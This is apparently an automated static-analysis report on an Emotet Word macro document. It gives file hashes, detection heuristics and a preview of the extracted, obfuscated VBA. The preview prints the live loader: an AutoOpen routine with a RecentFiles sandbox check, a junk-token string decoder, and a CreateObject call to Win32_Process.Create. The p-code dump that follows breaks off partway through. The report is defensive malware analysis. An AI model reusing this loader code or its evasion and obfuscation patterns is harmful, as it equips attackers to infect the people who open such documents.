Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 4fe8f491cbb42061…

MALICIOUS

Office (OLE)

242.5 KB Created: 2019-09-20 13:58:00 Authoring application: Microsoft Office Word First seen: 2020-07-02
MD5: fcfe3fd3213dc956dd72676ee8984f3c SHA-1: 78ed7947c80bca99f7fce5db0f55f221f07d2f1b SHA-256: 4fe8f491cbb42061ab3d4494e4d29230589785f8e74ae9c0113fb5432f64f737
250 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with a specific Emotet signature. Static analysis reveals obfuscated VBA macros, including an auto-exec loader that uses CreateObject, indicative of Emotet's typical behavior. The presence of the 'macros.bas' file and the critical heuristic 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' strongly suggest this is a macro-based Emotet downloader.

Heuristics 8

  • ClamAV: Doc.Malware.Emotet-7173446-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-7173446-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    CreateObject(jHptZS("IuH3IuH3wIuH3iIuH3nmgIuH3mtIuH3sIuH3IuH3:IuH3WIuH3IuH3iIuH3n3IuH32_PIuH3roIuH3cIuH3eIuH3ssIuH3")).Create cLJHjEP, SjsBhi, qhK6ijzp, uhJb8s
   On Error Resume Next
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    CreateObject(jHptZS("IuH3IuH3wIuH3iIuH3nmgIuH3mtIuH3sIuH3IuH3:IuH3WIuH3IuH3iIuH3n3IuH32_PIuH3roIuH3cIuH3eIuH3ssIuH3")).Create cLJHjEP, SjsBhi, qhK6ijzp, uhJb8s
   On Error Resume Next
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "N2jE2GU"
Sub autoopen()
   On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22456 bytes
SHA-256: e10eb59a47582e1500d9cc2ba14980b38394452044e7e4691f0e84f1e71ec135
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "aFJbjtt, 0, 0, MSForms, TextBox"
Attribute VB_Control = "b7cJT5L, 1, 1, MSForms, TextBox"
Attribute VB_Control = "arE9Lj, 2, 2, MSForms, TextBox"
Attribute VB_Control = "UrPSfM, 3, 3, MSForms, TextBox"
Attribute VB_Control = "zSjo6G, 4, 4, MSForms, TextBox"
Attribute VB_Control = "LkdVX_, 5, 5, MSForms, TextBox"
Attribute VB_Control = "mmSjHDs, 6, 6, MSForms, TextBox"
Attribute VB_Control = "wSbh99, 7, 7, MSForms, TextBox"
Attribute VB_Control = "k7V4Tjd, 8, 8, MSForms, TextBox"
Attribute VB_Control = "Qttcao, 9, 9, MSForms, TextBox"
Attribute VB_Control = "kjaD1St, 10, 10, MSForms, TextBox"
Attribute VB_Control = "uOfsVY, 11, 11, MSForms, TextBox"
Attribute VB_Control = "ScrQ4a, 12, 12, MSForms, TextBox"
Attribute VB_Control = "I_zE0NC, 13, 13, MSForms, TextBox"
Attribute VB_Control = "OtNwDu7W, 14, 14, MSForms, TextBox"
Attribute VB_Control = "TOdfAd, 15, 15, MSForms, TextBox"
Attribute VB_Control = "DXOocIMA, 16, 16, MSForms, TextBox"
Attribute VB_Control = "QDjLYFX, 17, 17, MSForms, TextBox"
Attribute VB_Control = "ERfSjoHL, 18, 18, MSForms, TextBox"
Attribute VB_Control = "TwqD9N, 19, 19, MSForms, TextBox"

Attribute VB_Name = "JCYQ2Q"
Function mrpam1Op()
   On Error Resume Next
   Set mna = xqmm6672
   Do
      If wAFZb8 = EXjarz6V Then
         iaucvj = Tan(1141)
      End If
         OwCVM8 = ps91E_wz * CDate(NMkFtIo7) / ZiPjUV / huLmw30 + (SJkn6T_ / CStr(aMD5sRhi) / 3 * CStr(XYftUS))
      For Each ioZtHjv In rckKQTd2
         mB5FPjo = saPVu7Yn - ChrW(6 + Oct(206871448 / CDate(85))) + 7990 - Fix(DiJbfrFw) - 6977 - EC432c - cJNdvvbV * Sin(rP3rBE)
      Next
Loop Until ilZZKuij = cYiRjsES
cLJHjEP = jRPq_qOZ + jHptZS(ThisDocument.OtNwDu7W + ThisDocument.wSbh99) + ckbpnd7
   On Error Resume Next
   Set mna = xqmm6672
   Do
      If TW6VXOL = PqzqKC Then
         ia9WzDRE = Tan(1141)
      End If
         mraaKjpN = rbUDtfb * CDate(mmYDiaMo) / PnROVbF / aSB9Id0O + (jTmCUZRV / CStr(z94dpmvj) / 3 * CStr(fnojtctp))
      For Each bMHtjPq In qEFc84iZ
         btaAFS = CT3rmFCZ - ChrW(6 + Oct(206871448 / CDate(85))) + 7990 - Fix(I6a7KlY7) - 6977 - krLDLW - FLBbjjnR * Sin(XAahEr)
      Next
Loop Until tljznKw = SIwjPWKT

CreateObject(jHptZS("IuH3IuH3wIuH3iIuH3nmgIuH3mtIuH3sIuH3IuH3:IuH3WIuH3IuH3iIuH3n3IuH32_PIuH3roIuH3cIuH3eIuH3ssIuH3")).Create cLJHjEP, SjsBhi, qhK6ijzp, uhJb8s
   On Error Resume Next
   Set mna = xqmm6672
   Do
      If AD0FnRCv = N4j8JnTS Then
         h0NJYpwj = Tan(1141)
      End If
         jaaYNa = huQ6Gqc * CDate(smBqrUX) / r1r9jj / C1cHuut4 + (it4irAG5 / CStr(j8GDLLk) / 3 * CStr(iOuqMnm7))
      For Each tSzCmz In OIq3mm
         EtZ7jJ = wi2Dr7 - ChrW(6 + Oct(206871448 / CDate(85))) + 7990 - Fix(iwBL26) - 6977 - kBT7Ew - u6h4hj * Sin(jpDI7acW)
      Next
Loop Until L1kkbLO = b1uEL4

   On Error Resume Next
   Set mna = xqmm6672
   Do
      If cJ2KYq = FHA4_Bcj Then
         PPDwlV = Tan(1141)
      End If
         CASIBb = Q3Nc5WnU * CDate(wE41HE08) / wwjjGX / k0GjdDs + (jW8mtA / CStr(AJN4OKF) / 3 * CStr(zjTsWht))
      For Each pjXmzIh In ikaQvn
         LasdwB = FJRlU1 - ChrW(6 + Oct(206871448 / CDate(85))) + 7990 - Fix(ENWCYVF) - 6977 - ufU9swq - QTUKAi * Sin(k0QK8vW)
      Next
Loop Until bREr4U = uhVHZV
End Function
Function jHptZS(MA_GNwQ)
   On Error Resume Next
   Set mna = xqmm6672
   Do
      If JffE7T = p0fUca Then
         ajjT88 = Tan(1141)
      End If
         KvrcIO_Z = ZoYKhQc * CDate(oU6w3i5) / WjHPuv4L / wk_F55 + (iV0S2uS / CStr(O016O8H) / 3 * CStr(XP5nRVoI))
      For Each pOB47B In uItY9vUm
         Vuo3HCbr = CnosjN - ChrW(6 + Oct(206871448 / CDate(85))) + 7990 - Fix(NF54A_) - 6977 - HDSJTqJ2 - W6G0bPY * Sin(NiA4uiIV)
      Next
Loop Until btpoR5XZ = Tiw_AwRF
jHptZS = Replace(MA_GNwQ, Replace("09NhI09NhuH09Nh309Nh", "09Nh", ""), "")
   On Error Resume Next
   Set mna = xqmm6672
   Do
      If dNqGUkU = iuK2Nm Then
         t_B6iT = Tan(1141)
      End If
         j0Qz43 = dAcOp3Q * CDate(o4FmYwY) / l1jbE513 / DWXsUtS + (jqAtdi / CStr(nnON3bB) / 3 * CStr(uH7jZzJ))
      For Each DZKw5Fi In JsGG9Xc
         YYM6Wj = JSlR52D0 - ChrW(6 + Oct(206871448 / CDate(85))) + 7990 - Fix(OAtJpn) - 6977 - WizKiGVh - OJDmAD * Sin(hXS3CI)
      Next
Loop Until JDjUtk = GRDBui8
End Function

Attribute VB_Name = "N2jE2GU"
Sub autoopen()
   On Error Resume Next
   Set mna = xqmm6672
   Do
      If TqqLAoJc = w30KPUE Then
         MKA0HvX = Tan(1141)
      End If
         TAfwWf = MZfnbU * CDate(DlB0FfG) / amXribnI / IDLfi_ + (iV0w2j / CStr(IWhA36) / 3 * CStr(s4zjr03i))
      For Each OS4Fi0 In Wj2swzC
         OmDNPc = iNbZrii - ChrW(6 + Oct(206871448 / CDate(85))) + 7990 - Fix(OWKDzi6) - 6977 - BGJH0jM - tUBC1pc * Sin(iAuFWRKh)
      Next
Loop Until LdDJww = ZdP6MA
If RecentFiles.Count > 3 Then
mrpam1Op
End If
   On Error Resume Next
   Set mna = xqmm6672
   Do
      If iYQjn_vA = HqD3hiS Then
         vMU9tp = Tan(1141)
      End If
         V8QPTB = KAXsCuW8 * CDate(URpPQnZ) / nVai2I / CaI1pL7 + (vNLL1X2 / CStr(LiKro2) / 3 * CStr(FlwcjkQY))
      For Each z1uFu6t In dB70kf
         MLWzRS2E = DZn7wh1 - ChrW(6 + Oct(206871448 / CDate(85))) + 7990 - Fix(aIwP07) - 6977 - oLnM97qB - nsh5AaWo * Sin(hOZIuRE)
      Next
Loop Until vX2oTD4 = Fi86kkF
End Sub
Function qhK6ijzp()
SKv1qt = iLncF6 + pG6qXlz
   On Error Resume Next
   Set mna = xqmm6672
   Do
      If DczAq5 = Wm69b3GY Then
         NhrfQVB = Tan(1141)
      End If
         FMmZVz = HqnWHOa * CDate(iIvCUPv) / YijMc0 / klwNkJjW + (hLJSRW6v / CStr(Cw93nTVZ) / 3 * CStr(MoNSjzVI))
      For Each KqXhGk4L In OrFYw8
         iQwKZAd_ = odBwu5jX - ChrW(6 + Oct(206871448 / CDate(85))) + 7990 - Fix(nCbKMvp) - 6977 - qhkKZiv - OWDHlC * Sin(Jf9MzZiO)
      Next
Loop Until rn0oV8b = JSnO_s
Set qhK6ijzp = CreateObject(iC8_FNn_ + jHptZS(ThisDocument.zSjo6G) + rOCromNf)
   On Error Resume Next
   Set mna = xqmm6672
   Do
      If XBO0Aph = tm4tzf Then
         virhjzwl = Tan(1141)
      End If
         CEJE5Vz = hiFzVfE * CDate(KbXpTtSl) / uMdXtHi8 / lh88_aIz + (CfjBZ2K / CStr(WwT510TK) / 3 * CStr(i2jMjBp))
      For Each i4kd5F6 In X038GKbB
         F0rP9cB = P__uVvt - ChrW(6 + Oct(206871448 / CDate(85))) + 7990 - Fix(Paw7kntL) - 6977 - mZwinBYc - fB3kbGr * Sin(bMYRkt)
      Next
Loop Until JZEhw8Tv = aXt9TuQ
qhK6ijzp.ShowWindow! = SKv1qt
   On Error Resume Next
   Set mna = xqmm6672
   Do
      If UMAYI4 = VaotG2 Then
         chGvzA = Tan(1141)
      End If
         WZPbW_1n = wQaOjDYG * CDate(Hr2fbh0) / DVZEO9 / QwakA6Q + (oT0DWt / CStr(huju_1A) / 3 * CStr(mjiLLR1))
      For Each P_0Hzk In mqOGsnz
         LK6U0Z8 = mW3lCI - ChrW(6 + Oct(206871448 / CDate(85))) + 7990 - Fix(Vllj90) - 6977 - EVZXB5u - CqfvUkB * Sin(rOjInFd)
      Next
Loop Until L5FQLw = DiKJ2nLB
   On Error Resume Next
   Set mna = xqmm6672
   Do
      If UjoiFj6J = rFqjsjTd Then
         W4YhKPJ5 = Tan(1141)
      End If
         zlbo8Xd = hA6j5F * CDate(k2mw6LU) / GHU1XAU / MoCnVFkP + (aUfb5rbC / CStr(CZGFbPWZ) / 3 * CStr(zkuG2n))
      For Each ajOqfc In jqaJ70
         m1h9LF = sZ47kY - ChrW(6 + Oct(206871448 / CDate(85))) + 7990 - Fix(JWhrcX) - 6977 - BQnq0PW - jWAFj5b * Sin(qGjHlP)
      Next
Loop Until wjbaqX = w6cDNlD3
End Function


' Processing file: /opt/analyzer/scan_staging/484a66fd303f4ff8a5519c7b3b3ea1de.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3521 bytes
' Macros/VBA/JCYQ2Q - 5401 bytes
' Line #0:
' 	FuncDefn (Function JCYQ2Q())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	SetStmt 
' 	Ld xqmm6672 
' 	Set mna 
' Line #3:
' 	Do 
' Line #4:
' 	Ld mrpam1Op 
' 	Ld wAFZb8 
' 	Eq 
' 	IfBlock 
' Line #5:
' 	LitDI2 0x0475 
' 	ArgsLd Tan 0x0001 
' 	St EXjarz6V 
' Line #6:
' 	EndIfBlock 
' Line #7:
' 	Ld OwCVM8 
' 	Ld ps91E_wz 
' 	Coerce (Date) 
' 	Mul 
' 	Ld NMkFtIo7 
' 	Div 
' 	Ld ZiPjUV 
' 	Div 
' 	Ld huLmw30 
' 	Ld SJkn6T_ 
' 	Coerce (Str) 
' 	Div 
' 	LitDI2 0x0003 
' 	Div 
' 	Ld aMD5sRhi 
' 	Coerce (Str) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St iaucvj 
' Line #8:
' 	StartForVariable 
' 	Ld XYftUS 
' 	EndForVariable 
' 	Ld ioZtHjv 
' 	ForEach 
' Line #9:
' 	Ld mB5FPjo 
' 	LitDI2 0x0006 
' 	LitDI4 0x9B98 0x0C54 
' 	LitDI2 0x0055 
' 	Coerce (Date) 
' 	Div 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	ArgsLd ChrW 0x0001 
' 	Sub 
' 	LitDI2 0x1F36 
' 	Add 
' 	Ld saPVu7Yn 
' 	FnFix 
' 	Sub 
' 	LitDI2 0x1B41 
' 	Sub 
' 	Ld DiJbfrFw 
' 	Sub 
' 	Ld EC432c 
' 	Ld cJNdvvbV 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Sub 
' 	St rckKQTd2 
' Line #10:
' 	StartForVariable 
' 	Next 
' Line #11:
' 	Ld rP3rBE 
' 	Ld ilZZKuij 
' 	Eq 
' 	LoopUntil 
' Line #12:
' 	Ld cLJHjEP 
' 	Ld ThisDocument 
' 	MemLd I_zE0NC 
' 	Ld ThisDocument 
' 	MemLd _B_var_j98p7H 
' 	Add 
' 	ArgsLd jRPq_qOZ 0x0001 
' 	Add 
' 	Ld jHptZS 
' 	Add 
' 	St cYiRjsES 
' Line #13:
' 	OnError (Resume Next) 
' Line #14:
' 	SetStmt 
' 	Ld xqmm6672 
' 	Set mna 
' Line #15:
' 	Do 
' Line #16:
' 	Ld ckbpnd7 
' 	Ld TW6VXOL 
' 	Eq 
' 	IfBlock 
' Line #17:
' 	LitDI2 0x0475 
' 	ArgsLd Tan 0x0001 
' 	St PqzqKC 
' Line #18:
' 	EndIfBlock 
' Line #19:
' 	Ld mraaKjpN 
' 	Ld rbUDtfb 
' 	Coerce (Date) 
' 	Mul 
' 	Ld mmYDiaMo 
' 	Div 
' 	Ld PnROVbF 
' 	Div 
' 	Ld aSB9Id0O 
' 	Ld jTmCUZRV 
' 	Coerce (Str) 
' 	Div 
' 	LitDI2 0x0003 
' 	Div 
' 	Ld z94dpmvj 
' 	Coerce (Str) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St ia9WzDRE 
' Line #20:
' 	StartForVariable 
' 	Ld fnojtctp 
' 	EndForVariable 
' 	Ld bMHtjPq 
' 	ForEach 
' Line #21:
' 	Ld btaAFS 
' 	LitDI2 0x0006 
' 	LitDI4 0x9B98 0x0C54 
' 	LitDI2 0x0055 
' 	Coerce (Date) 
' 	Div 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	ArgsLd ChrW 0x0001 
' 	Sub 
' 	LitDI2 0x1F36 
' 	Add 
' 	Ld CT3rmFCZ 
' 	FnFix 
' 	Sub 
' 	LitDI2 0x1B41 
' 	Sub 
' 	Ld I6a7KlY7 
' 	Sub 
' 	Ld krLDLW 
' 	Ld FLBbjjnR 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Sub 
' 	St qEFc84iZ 
' Line #22:
' 	StartForVariable 
' 	Next 
' Line #23:
' 	Ld XAahEr 
' 	Ld tljznKw 
' 	Eq 
' 	LoopUntil 
' Line #24:
' Line #25:
' 	Ld cYiRjsES 
' 	Ld Create 
' 	Ld SjsBhi 
' 	Ld qhK6ijzp 
' 	LitStr 0x005E "IuH3IuH3wIuH3iIuH3nmgIuH3mtIuH3sIuH3IuH3:IuH3WIuH3IuH3iIuH3n3IuH32_PIuH3roIuH3cIuH3eIuH3ssIuH3"
' 	ArgsLd jRPq_qOZ 0x0001 
' 	ArgsLd SIwjPWKT 0x0001 
' 	ArgsMemCall CreateObject 0x0004 
' Line #26:
' 	OnError (Resume Next) 
' Line #27:
' 	SetStmt 
' 	Ld xqmm6672 
' 	Set mna 
' Line #28:
' 	Do 
' Line #29:
' 	Ld uhJb8s 
' 	Ld AD0FnRCv 
' 	Eq 
' 	IfBlock 
' Line #30:
' 	LitDI2 0x0475 
' 	ArgsLd Tan 0x0001 
' 	St N4j8JnTS 
' Line #31:
' 	EndIfBlock 
' Line #32:
' 	Ld jaaYNa 
' 	Ld huQ6Gqc 
' 	Coerce (Date) 
' 	Mul 
' 	Ld smBqrUX 
' 	Div 
' 	Ld r1r9jj 
' 	Div 
' 	Ld C1cHuut4 
' 	Ld it4irAG5 
' 	Coerce (Str) 
' 	Div 
' 	LitDI2 0x0003 
' 	Div 
' 	Ld j8GDLLk 
' 	Coerce (Str) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St h0NJYpwj 
' Line #33:
' 	StartForVariable 
' 	Ld iOuqMnm7 
' 	EndForVariable 
' 	Ld tSzCmz 
' 	ForEach 
' Line #34:
' 	Ld EtZ7jJ 
' 	LitDI2 0x0006 
' 	LitDI4 0x9B98 0x0C54 
' 	LitDI2 0x0055 
' 	Coerce (Date) 
' 	Div 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	ArgsLd ChrW 0x0001 
' 	Sub 
' 	LitDI2 0x1F36 
' 	Add 
' 	Ld wi2Dr7 
' 	FnFix 
' 	Sub 
' 	LitDI2 0x1B41 
' 	Sub 
' 	Ld iwBL26 
' 	Sub 
' 	Ld kBT7Ew 
' 	Ld u6h4hj 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Sub 
' 	St OIq3mm 
' Line #35:
' 	StartForVariable 
' 	Next 
' Line #36:
' 	Ld jpDI7acW 
' 	Ld L1kkbLO 
' 	Eq 
' 	LoopUntil 
' Line #37:
' Line #38:
' 	OnError (Resume Next) 
' Line #39:
' 	SetStmt 
' 	Ld xqmm6672 
' 	Set mna 
' Line #40:
' 	Do 
' Line #41:
' 	Ld b1uEL4 
' 	Ld cJ2KYq 
' 	Eq 
' 	IfBlock 
' Line #42:
' 	LitDI2 0x0475 
' 	ArgsLd Tan 0x0001 
' 	St FHA4_Bcj 
' Line #43:
' 	EndIfBlock 
' Line #44:
' 	Ld CASIBb 
' 	Ld Q3Nc5WnU 
' 	Coerce (Date) 
' 	Mul 
' 	Ld wE41HE08 
' 	Div 
' 	Ld wwjjGX 
' 	Div 
' 	Ld k0GjdDs 
' 	Ld jW8mtA 
' 	Coerce (Str) 
' 	Div 
' 	LitDI2 0x0003 
' 	Div 
' 	Ld AJN4OKF 
' 	Coerce (Str) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St PPDwlV 
' Line #45:
' 	StartForVariable 
' 	Ld zjTsWht 
' 	EndForVariable 
' 	Ld pjXmzIh 
' 	ForEach 
' Line #46:
' 	Ld LasdwB 
' 	LitDI2 0x0006 
' 	LitDI4 0x9B98 0x0C54 
' 	LitDI2 0x0055 
' 	Coerce (Date) 
' 	Div 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	ArgsLd ChrW 0x0001 
' 	Sub 
' 	LitDI2 0x1F36 
' 	Add 
' 	Ld FJRlU1 
' 	FnFix 
' 	Sub 
' 	LitDI2 0x1B41 
' 	Sub 
' 	Ld ENWCYVF 
' 	Sub 
' 	Ld ufU9swq 
' 	Ld QTUKAi 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Sub 
' 	St ikaQvn 
' Line #47:
' 	StartForVariable 
' 	Next 
' Line #48:
' 	Ld k0QK8vW 
' 	Ld bREr4U 
' 	Eq 
' 	LoopUntil 
' Line #49:
' 	EndFunc 
' Line #50:
' 	FuncDefn (Function jRPq_qOZ(uhVHZV))
' Line #51:
' 	OnError (Resume Next) 
' Line #52:
' 	SetStmt 
' 	Ld xqmm6672 
' 	Set mna 
' Line #53:
' 	Do 
' Line #54:
' 	Ld MA_GNwQ 
' 	Ld JffE7T 
' 	Eq 
' 	IfBlock 
' Line #55:
' 	LitDI2 0x0475 
' 	ArgsLd Tan 0x0001 
' 	St p0fUca 
' Line #56:
' 	EndIfBlock 
' Line #57:
' 	Ld KvrcIO_Z 
' 	Ld ZoYKhQc 
' 	Coerce (Date) 
' 	Mul 
' 	Ld oU6w3i5 
' 	Div 
' 	Ld WjHPuv4L 
' 	Div 
' 	Ld wk_F55 
' 	Ld iV0S2uS 
' 	Coerce (Str) 
' 	Div 
' 	LitDI2 0x0003 
' 	Div 
' 	Ld O016O8H 
' 	Coerce (Str) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St ajjT88 
' Line #58:
' 	StartForVariable 
' 	Ld XP5nRVoI 
' 	EndForVariable 
' 	Ld pOB47B 
' 	ForEach 
' Line #59:
' 	Ld Vuo3HCbr 
' 	LitDI2 0x0006 
' 	LitDI4 0x9B98 0x0C54 
' 	LitDI2 0x0055 
' 	Coerce (Date) 
' 	Div 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	ArgsLd ChrW 0x0001 
' 	Sub 
' 	LitDI2 0x1F36 
' 	Add 
' 	Ld CnosjN 
' 	FnFix 
' 	Sub 
' 	LitDI2 0x1B41 
' 	Sub 
' 	Ld NF54A_ 
' 	Sub 
' 	Ld HDSJTqJ2 
' 	Ld W6G0bPY 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Sub 
' 	St uItY9vUm 
' Line #60:
' 	StartForVariable 
' 	Next 
' Line #61:
' 	Ld NiA4uiIV 
' 	Ld btpoR5XZ 
' 	Eq 
' 	LoopUntil 
' Line #62:
' 	Ld uhVHZV 
' 	LitStr 0x0014 "09NhI09NhuH09Nh309Nh"
' 	LitStr 0x0004 "09Nh"
' 	LitStr 0x0000 ""
' 	ArgsLd Tiw_AwRF 0x0003 
' 	LitStr 0x0000 ""
' 	ArgsLd Tiw_AwRF 0x0003 
' 	St jRPq_qOZ 
' Line #63:
' 	OnError (Resume Next) 
' Line #64:
' 	SetStmt 
' 	Ld xqmm6672 
' 	Set mna 
' Line #65:
' 	Do 
' Line #66:
' 	Ld Replace 
' 	Ld dNqGUkU 
' 	Eq 
' 	IfBlock 
' Line #67:
' 	LitDI2 0x0475 
' 	ArgsLd Tan 0x0001 
' 	St iuK2Nm 
' Line #68:
' 	EndIfBlock 
' Line #69:
' 	Ld j0Qz43 
' 	Ld dAcOp3Q 
' 	Coerce (Date) 
' 	Mul 
' 	Ld o4FmYwY 
' 	Div 
' 	Ld l1jbE513 
' 	Div 
' 	Ld DWXsUtS 
' 	Ld jqAtdi 
' 	Coerce (Str) 
' 	Div 
' 	LitDI2 0x0003 
' 	Div 
' 	Ld nnON3bB 
' 	Coerce (Str) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St t_B6iT 
' Line #70:
' 	StartForVariable 
' 	Ld uH7jZzJ 
' 	EndForVariable 
' 	Ld DZKw5Fi 
' 	ForEach 
' Line #71:
' 	Ld YYM6Wj 
' 	LitDI2 0x0006 
' 	LitDI4 0x9B98 0x0C54 
' 	LitDI2 0x0055 
' 	Coerce (Date) 
' 	Div 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	ArgsLd ChrW 0x0001 
' 	Sub 
' 	LitDI2 0x1F36 
' 	Add 
' 	Ld JSlR52D0 
' 	FnFix 
' 	Sub 
' 	LitDI2 0x1B41 
' 	Sub 
' 	Ld OAtJpn 
' 	Sub 
' 	Ld WizKiGVh 
' 	Ld OJDmAD 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Sub 
' 	St JsGG9Xc 
' Line #72:
' 	StartForVariable 
' 	Next 
' Line #73:
' 	Ld hXS3CI 
' 	Ld JDjUtk 
' 	Eq 
' 	LoopUntil 
' Line #74:
' 	EndFunc 
' Macros/VBA/N2jE2GU - 5170 bytes
' Line #0:
' 	FuncDefn (Sub N2jE2GU())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	SetStmt 
' 	Ld xqmm6672 
' 	Set mna 
' Line #3:
' 	Do 
' Line #4:
' 	Ld autoopen 
' 	Ld TqqLAoJc 
' 	Eq 
' 	IfBlock 
' Line #5:
' 	LitDI2 0x0475 
' 	ArgsLd Tan 0x0001 
' 	St w30KPUE 
' Line #6:
' 	EndIfBlock 
' Line #7:
' 	Ld TAfwWf 
' 	Ld MZfnbU 
' 	Coerce (Date) 
' 	Mul 
' 	Ld DlB0FfG 
' 	Div 
' 	Ld amXribnI 
' 	Div 
' 	Ld IDLfi_ 
' 	Ld iV0w2j 
' 	Coerce (Str) 
' 	Div 
' 	LitDI2 0x0003 
' 	Div 
' 	Ld IWhA36 
' 	Coerce (Str) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St MKA0HvX 
' Line #8:
' 	StartForVariable 
' 	Ld s4zjr03i 
' 	EndForVariable 
' 	Ld OS4Fi0 
' 	ForEach 
' Line #9:
' 	Ld OmDNPc 
' 	LitDI2 0x0006 
' 	LitDI4 0x9B98 0x0C54 
' 	LitDI2 0x0055 
' 	Coerce (Date) 
' 	Div 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	ArgsLd ChrW 0x0001 
' 	Sub 
' 	LitDI2 0x1F36 
' 	Add 
' 	Ld iNbZrii 
' 	FnFix 
' 	Sub 
' 	LitDI2 0x1B41 
' 	Sub 
' 	Ld OWKDzi6 
' 	Sub 
' 	Ld BGJH0jM 
' 	Ld tUBC1pc 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Sub 
' 	St Wj2swzC 
' Line #10:
' 	StartForVariable 
' 	Next 
' Line #11:
' 	Ld iAuFWRKh 
' 	Ld LdDJww 
' 	Eq 
' 	LoopUntil 
' Line #12:
' 	Ld ZdP6MA 
' 	MemLd RecentFiles 
' 	LitDI2 0x0003 
' 	Gt 
' 	IfBlock 
' Line #13:
' 	ArgsCall JCYQ2Q 0x0000 
' Line #14:
' 	EndIfBlock 
' Line #15:
' 	OnError (Resume Next) 
' Line #16:
' 	SetStmt 
' 	Ld xqmm6672 
' 	Set mna 
' Line #17:
' 	Do 
' Line #18:
' 	Ld Count 
' 	Ld iYQjn_vA 
' 	Eq 
' 	IfBlock 
' Line #19:
' 	LitDI2 0x0475 
' 	ArgsLd Tan 0x0001 
' 	St HqD3hiS 
' Line #20:
' 	EndIfBlock 
' Line #21:
' 	Ld V8QPTB 
' 	Ld KAXsCuW8 
' 	Coerce (Date) 
' 	Mul 
' 	Ld URpPQnZ 
' 	Div 
' 	Ld nVai2I 
' 	Div 
' 	Ld CaI1pL7 
' 	Ld vNLL1X2 
' 	Coerce (Str) 
' 	Div 
' 	LitDI2 0x0003 
' 	Div 
' 	Ld LiKro2 
' 	Coerce (Str) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St vMU9tp 
' Line #22:
' 	StartForVariable 
' 	Ld FlwcjkQY 
' 	EndForVariable 
' 	Ld z1uFu6t 
' 	ForEach 
' Line #23:
' 	Ld MLWzRS2E 
' 	LitDI2 0x0006 
' 	LitDI4 0x9B98 0x0C54 
' 	LitDI2 0x0055 
' 	Coerce (Date) 
' 	Div 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	ArgsLd ChrW 0x0001 
' 	Sub 
' 	LitDI2 0x1F36 
' 	Add 
' 	Ld DZn7wh1 
' 	FnFix 
' 	Sub 
' 	LitDI2 0x1B41 
' 	Sub 
' 	Ld aIwP07 
' 	Sub 
' 	Ld oLnM97qB 
' 	Ld nsh5AaWo 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Sub 
' 	St dB70kf 
' Line #24:
' 	StartForVariable 
' 	Next 
' Line #25:
' 	Ld hOZIuRE 
' 	Ld vX2oTD4 
' 	Eq 
' 	LoopUntil 
' Line #26:
' 	EndSub 
' Line #27:
' 	FuncDefn (Function SjsBhi())
' Line #28:
' 	Ld SKv1qt 
' 	Ld iLncF6 
' 	Add 
' 	St Fi86kkF 
' Line #29:
' 	OnError (Resume Next) 
' Line #30:
' 	SetStmt 
' 	Ld xqmm6672 
' 	Set mna 
' Line #31:
' 	Do 
' Line #32:
' 	Ld pG6qXlz 
